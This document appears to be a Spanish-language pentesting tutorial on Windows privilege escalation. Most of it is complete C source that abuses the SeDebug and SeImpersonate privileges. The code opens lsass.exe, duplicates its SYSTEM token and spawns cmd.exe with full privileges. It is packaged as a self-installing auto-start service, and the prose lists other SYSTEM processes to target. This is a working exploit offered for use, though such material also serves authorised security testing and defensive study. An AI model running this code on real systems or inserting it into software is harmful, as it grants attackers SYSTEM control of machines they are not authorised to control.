SeDebug + SeImpersonate copy token

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El siguiente código explota los privilegios SeDebug y SeImpersonate para copiar el token de un proceso que se ejecuta como SYSTEM y con todos los privilegios del token. En este caso, este código se puede compilar y utilizar como un binario de servicio de Windows para verificar que funciona. Sin embargo, la parte principal del código donde ocurre la elevación está dentro de la función Exploit. Dentro de esa función puedes ver que se busca el proceso _lsass.exe, luego se copia su token, y finalmente ese token se utiliza para generar un nuevo _cmd.exe** con todos los privilegios del token copiado.

Otros procesos que se ejecutan como SYSTEM con todos o la mayoría de los privilegios del token son: services.exe, svhost.exe (uno de los primeros), wininit.exe, csrss.exe... (recuerda que no podrás copiar un token de un proceso protegido). Además, puedes utilizar la herramienta Process Hacker ejecutándola como administrador para ver los tokens de un proceso.

// From https://cboard.cprogramming.com/windows-programming/106768-running-my-program-service.html
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")

TCHAR* serviceName = TEXT("TokenDanceSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;

//This function will find the pid of a process by name
int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}


int Exploit(void) {

HANDLE hSystemToken, hSystemProcess;
HANDLE dupSystemToken = NULL;
HANDLE hProcess, hThread;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;


ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

// open high privileged process
if ( pid = FindTarget("lsass.exe") )
hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;

// extract high privileged token
if (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, &hSystemToken)) {
CloseHandle(hSystemProcess);
return -1;
}

// make a copy of a token
DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupSystemToken);

// and spawn a new process with higher privs
CreateProcessAsUserA(dupSystemToken, "C:\\windows\\system32\\cmd.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

return 0;
}


void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

SetEvent( stopServiceEvent );
return;

case SERVICE_CONTROL_PAUSE:
break;

case SERVICE_CONTROL_CONTINUE:
break;

case SERVICE_CONTROL_INTERROGATE:
break;

default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}

void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;

serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );

if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );

// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

Exploit();
WaitForSingleObject( stopServiceEvent, -1 );

// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;

// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}


void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );

if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );

if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else  {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};

StartServiceCtrlDispatcher( serviceTable );
}

return 0;
}
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